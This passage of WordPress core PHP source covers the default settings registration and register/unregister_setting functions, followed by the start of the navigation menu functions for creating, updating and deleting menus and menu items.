}

/**
 * Registers default settings available in WordPress.
 *
 * The settings registered here are primarily useful for the REST API, so this
 * does not encompass all settings available in WordPress.
 *
 * @since 4.7.0
 * @since 6.0.1 The `show_on_front`, `page_on_front`, and `page_for_posts` options were added.
 */
function register_initial_settings() {
	register_setting(
		'general',
		'blogname',
		array(
			'show_in_rest' => array(
				'name' => 'title',
			),
			'type'         => 'string',
			'description'  => __( 'Site title.' ),
		)
	);

	register_setting(
		'general',
		'blogdescription',
		array(
			'show_in_rest' => array(
				'name' => 'description',
			),
			'type'         => 'string',
			'description'  => __( 'Site tagline.' ),
		)
	);

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'siteurl',
			array(
				'show_in_rest' => array(
					'name'   => 'url',
					'schema' => array(
						'format' => 'uri',
					),
				),
				'type'         => 'string',
				'description'  => __( 'Site URL.' ),
			)
		);
	}

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'admin_email',
			array(
				'show_in_rest' => array(
					'name'   => 'email',
					'schema' => array(
						'format' => 'email',
					),
				),
				'type'         => 'string',
				'description'  => __( 'This address is used for admin purposes, like new user notification.' ),
			)
		);
	}

	register_setting(
		'general',
		'timezone_string',
		array(
			'show_in_rest' => array(
				'name' => 'timezone',
			),
			'type'         => 'string',
			'description'  => __( 'A city in the same timezone as you.' ),
		)
	);

	register_setting(
		'general',
		'date_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A date format for all date strings.' ),
		)
	);

	register_setting(
		'general',
		'time_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A time format for all time strings.' ),
		)
	);

	register_setting(
		'general',
		'start_of_week',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'A day number of the week that the week should start on.' ),
		)
	);

	register_setting(
		'general',
		'WPLANG',
		array(
			'show_in_rest' => array(
				'name' => 'language',
			),
			'type'         => 'string',
			'description'  => __( 'WordPress locale code.' ),
			'default'      => 'en_US',
		)
	);

	register_setting(
		'writing',
		'use_smilies',
		array(
			'show_in_rest' => true,
			'type'         => 'boolean',
			'description'  => __( 'Convert emoticons like :-) and :-P to graphics on display.' ),
			'default'      => true,
		)
	);

	register_setting(
		'writing',
		'default_category',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Default post category.' ),
		)
	);

	register_setting(
		'writing',
		'default_post_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'Default post format.' ),
		)
	);

	register_setting(
		'reading',
		'posts_per_page',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Blog pages show at most.' ),
			'default'      => 10,
		)
	);

	register_setting(
		'reading',
		'show_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'What to show on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'The ID of the page that should be displayed on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_for_posts',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'The ID of the page that should display the latest posts' ),
		)
	);

	register_setting(
		'discussion',
		'default_ping_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'description'  => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ),
		)
	);

	register_setting(
		'discussion',
		'default_comment_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'description'  => __( 'Allow people to submit comments on new posts.' ),
		)
	);
}

/**
 * Registers a setting and its data.
 *
 * @since 2.7.0
 * @since 3.0.0 The `misc` option group was deprecated.
 * @since 3.5.0 The `privacy` option group was deprecated.
 * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string $option_group A settings group name. Should correspond to an allowed option key name.
 *                             Default allowed option key names include 'general', 'discussion', 'media',
 *                             'reading', 'writing', and 'options'.
 * @param string $option_name The name of an option to sanitize and save.
 * @param array  $args {
 *     Data used to describe the setting when registered.
 *
 *     @type string     $type              The type of data associated with this setting.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $description       A description of the data attached to this setting.
 *     @type callable   $sanitize_callback A callback function that sanitizes the option's value.
 *     @type bool|array $show_in_rest      Whether data associated with this setting should be included in the REST API.
 *                                         When registering complex settings, this argument may optionally be an
 *                                         array with a 'schema' key.
 *     @type mixed      $default           Default value when calling `get_option()`.
 * }
 */
function register_setting( $option_group, $option_name, $args = array() ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	$defaults = array(
		'type'              => 'string',
		'group'             => $option_group,
		'description'       => '',
		'sanitize_callback' => null,
		'show_in_rest'      => false,
	);

	// Back-compat: old sanitize callback is added.
	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);
	}

	/**
	 * Filters the registration arguments when registering a setting.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args         Array of setting registration arguments.
	 * @param array  $defaults     Array of default arguments.
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 */
	$args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name );

	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering settings with an array type.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] && ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" setting to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.4.0' );
	}

	if ( ! is_array( $wp_registered_settings ) ) {
		$wp_registered_settings = array();
	}

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$new_allowed_options[ $option_group ][] = $option_name;

	if ( ! empty( $args['sanitize_callback'] ) ) {
		add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] );
	}
	if ( array_key_exists( 'default', $args ) ) {
		add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 );
	}

	/**
	 * Fires immediately before the setting is registered but after its filters are in place.
	 *
	 * @since 5.5.0
	 *
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 * @param array  $args         Array of setting registration arguments.
	 */
	do_action( 'register_setting', $option_group, $option_name, $args );

	$wp_registered_settings[ $option_name ] = $args;
}

/**
 * Unregisters a setting.
 *
 * @since 2.7.0
 * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string   $option_group The settings group name used during registration.
 * @param string   $option_name  The name of the option to unregister.
 * @param callable $deprecated   Optional. Deprecated.
 */
function unregister_setting( $option_group, $option_name, $deprecated = '' ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$pos = false;
	if ( isset( $new_allowed_options[ $option_group ] ) ) {
		$pos = array_search( $option_name, (array) $new_allowed_options[ $option_group ], true );
	}

	if ( false !== $pos ) {
		unset( $new_allowed_options[ $option_group ][ $pos ] );
	}

	if ( '' !== $deprecated ) {
		_deprecated_argument(
			__FUNCTION__,
			'4.7.0',
			sprintf(
				/* translators: 1: $sanitize_callback, 2: register_setting() */
				__( '%1$s is deprecated. The callback from %2$s is used instead.' ),
				'<code>$sanitize_callback</code>',
				'<code>register_setting()</code>'
			)
		);
		remove_filter( "sanitize_option_{$option_name}", $deprecated );
	}

	if ( isset( $wp_registered_settings[ $option_name ] ) ) {
		// Remove the sanitize callback if one was set during registration.
		if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) {
			remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] );
		}

		// Remove the default filter if a default was provided during registration.
		if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) {
			remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 );
		}

		/**
		 * Fires immediately before the setting is unregistered and after its filters have been removed.
		 *
		 * @since 5.5.0
		 *
		 * @param string $option_group Setting group.
		 * @param string $option_name  Setting name.
		 */
		do_action( 'unregister_setting', $option_group, $option_name );

		unset( $wp_registered_settings[ $option_name ] );
	}
}

/**
 * Retrieves an array of registered settings.
 *
 * @since 4.7.0
 *
 * @global array $wp_registered_settings
 *
 * @return array List of registered settings, keyed by option name.
 */
function get_registered_settings() {
	global $wp_registered_settings;

	if ( ! is_array( $wp_registered_settings ) ) {
		return array();
	}

	return $wp_registered_settings;
}

/**
 * Filters the default value for the option.
 *
 * For settings which register a default setting in `register_setting()`, this
 * function is added as a filter to `default_option_{$option}`.
 *
 * @since 4.7.0
 *
 * @param mixed  $default_value  Existing default value to return.
 * @param string $option         Option name.
 * @param bool   $passed_default Was `get_option()` passed a default value?
 * @return mixed Filtered default value.
 */
function filter_default_option( $default_value, $option, $passed_default ) {
	if ( $passed_default ) {
		return $default_value;
	}

	$registered = get_registered_settings();
	if ( empty( $registered[ $option ] ) ) {
		return $default_value;
	}

	return $registered[ $option ]['default'];
}
<?php
/**
 * Navigation Menu functions
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/**
 * Returns a navigation menu object.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @return WP_Term|false Menu object on success, false if $menu param isn't supplied or term does not exist.
 */
function wp_get_nav_menu_object( $menu ) {
	$menu_obj = false;

	if ( is_object( $menu ) ) {
		$menu_obj = $menu;
	}

	if ( $menu && ! $menu_obj ) {
		$menu_obj = get_term( $menu, 'nav_menu' );

		if ( ! $menu_obj ) {
			$menu_obj = get_term_by( 'slug', $menu, 'nav_menu' );
		}

		if ( ! $menu_obj ) {
			$menu_obj = get_term_by( 'name', $menu, 'nav_menu' );
		}
	}

	if ( ! $menu_obj || is_wp_error( $menu_obj ) ) {
		$menu_obj = false;
	}

	/**
	 * Filters the nav_menu term retrieved for wp_get_nav_menu_object().
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Term|false      $menu_obj Term from nav_menu taxonomy, or false if nothing had been found.
	 * @param int|string|WP_Term $menu     The menu ID, slug, name, or object passed to wp_get_nav_menu_object().
	 */
	return apply_filters( 'wp_get_nav_menu_object', $menu_obj, $menu );
}

/**
 * Determines whether the given ID is a navigation menu.
 *
 * Returns true if it is; false otherwise.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object of menu to check.
 * @return bool Whether the menu exists.
 */
function is_nav_menu( $menu ) {
	if ( ! $menu ) {
		return false;
	}

	$menu_obj = wp_get_nav_menu_object( $menu );

	if (
		$menu_obj &&
		! is_wp_error( $menu_obj ) &&
		! empty( $menu_obj->taxonomy ) &&
		'nav_menu' === $menu_obj->taxonomy
	) {
		return true;
	}

	return false;
}

/**
 * Registers navigation menu locations for a theme.
 *
 * @since 3.0.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @param string[] $locations Associative array of menu location identifiers (like a slug) and descriptive text.
 */
function register_nav_menus( $locations = array() ) {
	global $_wp_registered_nav_menus;

	add_theme_support( 'menus' );

	foreach ( $locations as $key => $value ) {
		if ( is_int( $key ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'Nav menu locations must be strings.' ), '5.3.0' );
			break;
		}
	}

	$_wp_registered_nav_menus = array_merge( (array) $_wp_registered_nav_menus, $locations );
}

/**
 * Unregisters a navigation menu location for a theme.
 *
 * @since 3.1.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @param string $location The menu location identifier.
 * @return bool True on success, false on failure.
 */
function unregister_nav_menu( $location ) {
	global $_wp_registered_nav_menus;

	if ( is_array( $_wp_registered_nav_menus ) && isset( $_wp_registered_nav_menus[ $location ] ) ) {
		unset( $_wp_registered_nav_menus[ $location ] );
		if ( empty( $_wp_registered_nav_menus ) ) {
			_remove_theme_support( 'menus' );
		}
		return true;
	}
	return false;
}

/**
 * Registers a navigation menu location for a theme.
 *
 * @since 3.0.0
 *
 * @param string $location    Menu location identifier, like a slug.
 * @param string $description Menu location descriptive text.
 */
function register_nav_menu( $location, $description ) {
	register_nav_menus( array( $location => $description ) );
}
/**
 * Retrieves all registered navigation menu locations in a theme.
 *
 * @since 3.0.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @return string[] Associative array of registered navigation menu descriptions keyed
 *                  by their location. If none are registered, an empty array.
 */
function get_registered_nav_menus() {
	global $_wp_registered_nav_menus;
	if ( isset( $_wp_registered_nav_menus ) ) {
		return $_wp_registered_nav_menus;
	}
	return array();
}

/**
 * Retrieves all registered navigation menu locations and the menus assigned to them.
 *
 * @since 3.0.0
 *
 * @return int[] Associative array of registered navigation menu IDs keyed by their
 *               location name. If none are registered, an empty array.
 */
function get_nav_menu_locations() {
	$locations = get_theme_mod( 'nav_menu_locations' );
	return ( is_array( $locations ) ) ? $locations : array();
}

/**
 * Determines whether a registered nav menu location has a menu assigned to it.
 *
 * @since 3.0.0
 *
 * @param string $location Menu location identifier.
 * @return bool Whether location has a menu.
 */
function has_nav_menu( $location ) {
	$has_nav_menu = false;

	$registered_nav_menus = get_registered_nav_menus();
	if ( isset( $registered_nav_menus[ $location ] ) ) {
		$locations    = get_nav_menu_locations();
		$has_nav_menu = ! empty( $locations[ $location ] );
	}

	/**
	 * Filters whether a nav menu is assigned to the specified location.
	 *
	 * @since 4.3.0
	 *
	 * @param bool   $has_nav_menu Whether there is a menu assigned to a location.
	 * @param string $location     Menu location.
	 */
	return apply_filters( 'has_nav_menu', $has_nav_menu, $location );
}

/**
 * Returns the name of a navigation menu.
 *
 * @since 4.9.0
 *
 * @param string $location Menu location identifier.
 * @return string Menu name.
 */
function wp_get_nav_menu_name( $location ) {
	$menu_name = '';

	$locations = get_nav_menu_locations();

	if ( isset( $locations[ $location ] ) ) {
		$menu = wp_get_nav_menu_object( $locations[ $location ] );

		if ( $menu && $menu->name ) {
			$menu_name = $menu->name;
		}
	}

	/**
	 * Filters the navigation menu name being returned.
	 *
	 * @since 4.9.0
	 *
	 * @param string $menu_name Menu name.
	 * @param string $location  Menu location identifier.
	 */
	return apply_filters( 'wp_get_nav_menu_name', $menu_name, $location );
}

/**
 * Determines whether the given ID is a nav menu item.
 *
 * @since 3.0.0
 *
 * @param int $menu_item_id The ID of the potential nav menu item.
 * @return bool Whether the given ID is that of a nav menu item.
 */
function is_nav_menu_item( $menu_item_id = 0 ) {
	return ( ! is_wp_error( $menu_item_id ) && ( 'nav_menu_item' === get_post_type( $menu_item_id ) ) );
}

/**
 * Creates a navigation menu.
 *
 * Note that `$menu_name` is expected to be pre-slashed.
 *
 * @since 3.0.0
 *
 * @param string $menu_name Menu name.
 * @return int|WP_Error Menu ID on success, WP_Error object on failure.
 */
function wp_create_nav_menu( $menu_name ) {
	// expected_slashed ($menu_name)
	return wp_update_nav_menu_object( 0, array( 'menu-name' => $menu_name ) );
}

/**
 * Deletes a navigation menu.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @return bool|WP_Error True on success, false or WP_Error object on failure.
 */
function wp_delete_nav_menu( $menu ) {
	$menu = wp_get_nav_menu_object( $menu );
	if ( ! $menu ) {
		return false;
	}

	$menu_objects = get_objects_in_term( $menu->term_id, 'nav_menu' );
	if ( ! empty( $menu_objects ) ) {
		foreach ( $menu_objects as $item ) {
			wp_delete_post( $item );
		}
	}

	$result = wp_delete_term( $menu->term_id, 'nav_menu' );

	// Remove this menu from any locations.
	$locations = get_nav_menu_locations();
	foreach ( $locations as $location => $menu_id ) {
		if ( $menu_id == $menu->term_id ) {
			$locations[ $location ] = 0;
		}
	}
	set_theme_mod( 'nav_menu_locations', $locations );

	if ( $result && ! is_wp_error( $result ) ) {

		/**
		 * Fires after a navigation menu has been successfully deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param int $term_id ID of the deleted menu.
		 */
		do_action( 'wp_delete_nav_menu', $menu->term_id );
	}

	return $result;
}

/**
 * Saves the properties of a menu or create a new menu with those properties.
 *
 * Note that `$menu_data` is expected to be pre-slashed.
 *
 * @since 3.0.0
 *
 * @param int   $menu_id   The ID of the menu or "0" to create a new menu.
 * @param array $menu_data The array of menu data.
 * @return int|WP_Error Menu ID on success, WP_Error object on failure.
 */
function wp_update_nav_menu_object( $menu_id = 0, $menu_data = array() ) {
	// expected_slashed ($menu_data)
	$menu_id = (int) $menu_id;

	$_menu = wp_get_nav_menu_object( $menu_id );

	$args = array(
		'description' => ( isset( $menu_data['description'] ) ? $menu_data['description'] : '' ),
		'name'        => ( isset( $menu_data['menu-name'] ) ? $menu_data['menu-name'] : '' ),
		'parent'      => ( isset( $menu_data['parent'] ) ? (int) $menu_data['parent'] : 0 ),
		'slug'        => null,
	);

	// Double-check that we're not going to have one menu take the name of another.
	$_possible_existing = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
	if (
		$_possible_existing &&
		! is_wp_error( $_possible_existing ) &&
		isset( $_possible_existing->term_id ) &&
		$_possible_existing->term_id != $menu_id
	) {
		return new WP_Error(
			'menu_exists',
			sprintf(
				/* translators: %s: Menu name. */
				__( 'The menu name %s conflicts with another menu name. Please try another.' ),
				'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
			)
		);
	}

	// Menu doesn't already exist, so create a new menu.
	if ( ! $_menu || is_wp_error( $_menu ) ) {
		$menu_exists = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );

		if ( $menu_exists ) {
			return new WP_Error(
				'menu_exists',
				sprintf(
					/* translators: %s: Menu name. */
					__( 'The menu name %s conflicts with another menu name. Please try another.' ),
					'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
				)
			);
		}

		$_menu = wp_insert_term( $menu_data['menu-name'], 'nav_menu', $args );

		if ( is_wp_error( $_menu ) ) {
			return $_menu;
		}

		/**
		 * Fires after a navigation menu is successfully created.
		 *
		 * @since 3.0.0
		 *
		 * @param int   $term_id   ID of the new menu.
		 * @param array $menu_data An array of menu data.
		 */
		do_action( 'wp_create_nav_menu', $_menu['term_id'], $menu_data );

		return (int) $_menu['term_id'];
	}

	if ( ! $_menu || ! isset( $_menu->term_id ) ) {
		return 0;
	}

	$menu_id = (int) $_menu->term_id;

	$update_response = wp_update_term( $menu_id, 'nav_menu', $args );

	if ( is_wp_error( $update_response ) ) {
		return $update_response;
	}

	$menu_id = (int) $update_response['term_id'];

	/**
	 * Fires after a navigation menu has been successfully updated.
	 *
	 * @since 3.0.0
	 *
	 * @param int   $menu_id   ID of the updated menu.
	 * @param array $menu_data An array of menu data.
	 */
	do_action( 'wp_update_nav_menu', $menu_id, $menu_data );
	return $menu_id;
}

/**
 * Saves the properties of a menu item or create a new one.
 *
 * The menu-item-title, menu-item-description and menu-item-attr-title are expected
 * to be pre-slashed since they are passed directly to APIs that expect slashed data.
 *
 * @since 3.0.0
 * @since 5.9.0 Added the `$fire_after_hooks` parameter.
 *
 * @param int   $menu_id          The ID of the menu. If 0, makes the menu item a draft orphan.
 * @param int   $menu_item_db_id  The ID of the menu item. If 0, creates a new menu item.
 * @param array $menu_item_data   The menu item's data.
 * @param bool  $fire_after_hooks Whether to fire the after insert hooks. Default true.
 * @return int|WP_Error The menu item's database ID or WP_Error object on failure.
 */
function wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array(), $fire_after_hooks = true ) {
	$menu_id         = (int) $menu_id;
	$menu_item_db_id = (int) $menu_item_db_id;

	// Make sure that we don't convert non-nav_menu_item objects into nav_menu_item objects.
	if ( ! empty( $menu_item_db_id ) && ! is_nav_menu_item( $menu_item_db_id ) ) {
		return new WP_Error( 'update_nav_menu_item_failed', __( 'The given object ID is not that of a menu item.' ) );
	}

	$menu = wp_get_nav_menu_object( $menu_id );

	if ( ! $menu && 0 !== $menu_id ) {
		return new WP_Error( 'invalid_menu_id', __( 'Invalid menu ID.' ) );
	}

	if ( is_wp_error( $menu ) ) {
		return $menu;
	}

	$defaults = array(
		'menu-item-db-id'         => $menu_item_db_id,
		'menu-item-object-id'     => 0,
		'menu-item-object'        => '',
		'menu-item-parent-id'     => 0,
		'menu-item-position'      => 0,
		'menu-item-type'          => 'custom',
		'menu-item-title'         => '',
		'menu-item-url'           => '',
		'menu-item-description'   => '',
		'menu-item-attr-title'    => '',
		'menu-item-target'        => '',
		'menu-item-classes'       => '',
		'menu-item-xfn'           => '',
		'menu-item-status'        => '',
		'menu-item-post-date'     => '',
		'menu-item-post-date-gmt' => '',
	);

	$args = wp_parse_args( $menu_item_data, $defaults );

	if ( 0 == $menu_id ) {
		$args['menu-item-position'] = 1;
	} elseif ( 0 == (int) $args['menu-item-position'] ) {
		$menu_items                 = 0 == $menu_id ? array() : (array) wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
		$last_item                  = array_pop( $menu_items );
		$args['menu-item-position'] = ( $last_item && isset( $last_item->menu_order ) ) ? 1 + $last_item->menu_order : count( $menu_items );
	}

	$original_parent = 0 < $menu_item_db_id ? get_post_field( 'post_parent', $menu_item_db_id ) : 0;

	if ( 'custom' === $args['menu-item-type'] ) {
		// If custom menu item, trim the URL.
		$args['menu-item-url'] = trim( $args['menu-item-url'] );
	} else {
		/*
		 * If non-custom menu item, then:
		 * - use the original object's URL.
		 * - blank default title to sync with the original object's title.
		 */

		$args['menu-item-url'] = '';

		$original_title = '';
		if ( 'taxonomy' === $args['menu-item-type'] ) {
			$original_parent = get_term_field( 'parent', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
			$original_title  = get_term_field( 'name', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
		} elseif ( 'post_type' === $args['menu-item-type'] ) {

			$original_object = get_post( $args['menu-item-object-id'] );
			$original_parent = (int) $original_object->post_parent;
			$original_title  = $original_object->post_title;
		} elseif ( 'post_type_archive' === $args['menu-item-type'] ) {
			$original_object = get_post_type_object( $args['menu-item-object'] );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}

		if ( wp_unslash( $args['menu-item-title'] ) === wp_specialchars_decode( $original_title ) ) {
			$args['menu-item-title'] = '';
		}

		// Hack to get wp to create a post object when too many properties are empty.
		if ( '' === $args['menu-item-title'] && '' === $args['menu-item-description'] ) {
			$args['menu-item-description'] = ' ';
		}
	}

	// Populate the menu item object.
	$post = array(
		'menu_order'   => $args['menu-item-position'],
		'ping_status'  => 0,
		'post_content' => $args['menu-item-description'],
		'post_excerpt' => $args['menu-item-attr-title'],
		'post_parent'  => $original_parent,
		'post_title'   => $args['menu-item-title'],
		'post_type'    => 'nav_menu_item',
	);

	$post_date = wp_resolve_post_date( $args['menu-item-post-date'], $args['menu-item-post-date-gmt'] );
	if ( $post_date ) {
		$post['post_date'] = $post_date;
	}

	$update = 0 != $menu_item_db_id;

	// New menu item. Default is draft status.
	if ( ! $update ) {
		$post['ID']          = 0;
		$post['post_status'] = 'publish' === $args['menu-item-status'] ? 'publish' : 'draft';
		$menu_item_db_id     = wp_insert_post( $post, true, $fire_after_hooks );
		if ( ! $menu_item_db_id || is_wp_error( $menu_item_db_id ) ) {
			return $menu_item_db_id;
		}

		/**
		 * Fires immediately after a new navigation menu item has been added.
		 *
		 * @since 4.4.0
		 *
		 * @see wp_update_nav_menu_item()
		 *
		 * @param int   $menu_id         ID of the updated menu.
		 * @param int   $menu_item_db_id ID of the new menu item.
		 * @param array $args            An array of arguments used to update/add the menu item.
		 */
		do_action( 'wp_add_nav_menu_item', $menu_id, $menu_item_db_id, $args );
	}

	/*
	 * Associate the menu item with the menu term.
	 * Only set the menu term if it isn't set to avoid unnecessary wp_get_object_terms().
	 */
	if ( $menu_id && ( ! $update || ! is_object_in_term( $menu_item_db_id, 'nav_menu', (int) $menu->term_id ) ) ) {
		$update_terms = wp_set_object_terms( $menu_item_db_id, array( $menu->term_id ), 'nav_menu' );
		if ( is_wp_error( $update_terms ) ) {
			return $update_terms;
		}
	}

	if ( 'custom' === $args['menu-item-type'] ) {
		$args['menu-item-object-id'] = $menu_item_db_id;
		$args['menu-item-object']    = 'custom';
	}

	$menu_item_db_id = (int) $menu_item_db_id;

	// Reset invalid `menu_item_parent`.
	if ( (int) $args['menu-item-parent-id'] === $menu_item_db_id ) {
		$args['menu-item-parent-id'] = 0;
	}

	update_post_meta( $menu_item_db_id, '_menu_item_type', sanitize_key( $args['menu-item-type'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_menu_item_parent', (string) ( (int) $args['menu-item-parent-id'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_object_id', (string) ( (int) $args['menu-item-object-id'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_object', sanitize_key( $args['menu-item-object'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_target', sanitize_key( $args['menu-item-target'] ) );

	$args['menu-item-classes'] = array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-classes'] ) );
	$args['menu-item-xfn']     = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-xfn'] ) ) );
	update_post_meta( $menu_item_db_id, '_menu_item_classes', $args['menu-item-classes'] );
	update_post_meta( $menu_item_db_id, '_menu_item_xfn', $args['menu-item-xfn'] );
	update_post_meta( $menu_item_db_id, '_menu_item_url', sanitize_url( $args['menu-item-url'] ) );

	if ( 0 == $menu_id ) {
		update_post_meta( $menu_item_db_id, '_menu_item_orphaned', (string) time() );
	} elseif ( get_post_meta( $menu_item_db_id, '_menu_item_orphaned' ) ) {
		delete_post_meta( $menu_item_db_id, '_menu_item_orphaned' );
	}

	// Update existing menu item. Default is publish status.
	if ( $update ) {
		$post['ID']          = $menu_item_db_id;
		$post['post_status'] = ( 'draft' === $args['menu-item-status'] ) ? 'draft' : 'publish';

		$update_post = wp_update_post( $post, true );
		if ( is_wp_error( $update_post ) ) {
			return $update_post;
		}
	}

	/**
	 * Fires after a navigation menu item has been updated.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param int   $menu_id         ID of the updated menu.
	 * @param int   $menu_item_db_id ID of the updated menu item.
	 * @param array $args            An array of arguments used to update a menu item.
	 */
	do_action( 'wp_update_nav_menu_item', $menu_id, $menu_item_db_id, $args );

	return $menu_item_db_id;
}

/**
 * Returns all navigation menu objects.
 *
 * @since 3.0.0
 * @since 4.1.0 Default value of the 'orderby' argument was changed from 'none'
 *              to 'name'.
 *
 * @param array $args Optional. Array of arguments passed on to get_terms().
 *                    Default empty array.
 * @return WP_Term[] An array of menu objects.
 */
function wp_get_nav_menus( $args = array() ) {
	$defaults = array(
		'taxonomy'   => 'nav_menu',
		'hide_empty' => false,
		'orderby'    => 'name',
	);
	$args     = wp_parse_args( $args, $defaults );

	/**
	 * Filters the navigation menu objects being returned.
	 *
	 * @since 3.0.0
	 *
	 * @see get_terms()
	 *
	 * @param WP_Term[] $menus An array of menu objects.
	 * @param array     $args  An array of arguments used to retrieve menu objects.
	 */
	return apply_filters( 'wp_get_nav_menus', get_terms( $args ), $args );
}

/**
 * Determines whether a menu item is valid.
 *
 * @link https://core.trac.wordpress.org/ticket/13958
 *
 * @since 3.2.0
 * @access private
 *
 * @param object $item The menu item to check.
 * @return bool False if invalid, otherwise true.
 */
function _is_valid_nav_menu_item( $item ) {
	return empty( $item->_invalid );
}

/**
 * Retrieves all menu items of a navigation menu.
 *
 * Note: Most arguments passed to the `$args` parameter – save for 'output_key' – are
 * specifically for retrieving nav_menu_item posts from get_posts() and may only
 * indirectly affect the ultimate ordering and content of the resulting nav menu
 * items that get returned from this function.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @param array              $args {
 *     Optional. Arguments to pass to get_posts().
 *
 *     @type string $order                  How to order nav menu items as queried with get_posts().
 *                                          Will be ignored if 'output' is ARRAY_A. Default 'ASC'.
 *     @type string $orderby                Field to order menu items by as retrieved from get_posts().
 *                                          Supply an orderby field via 'output_key' to affect the
 *                                          output order of nav menu items. Default 'menu_order'.
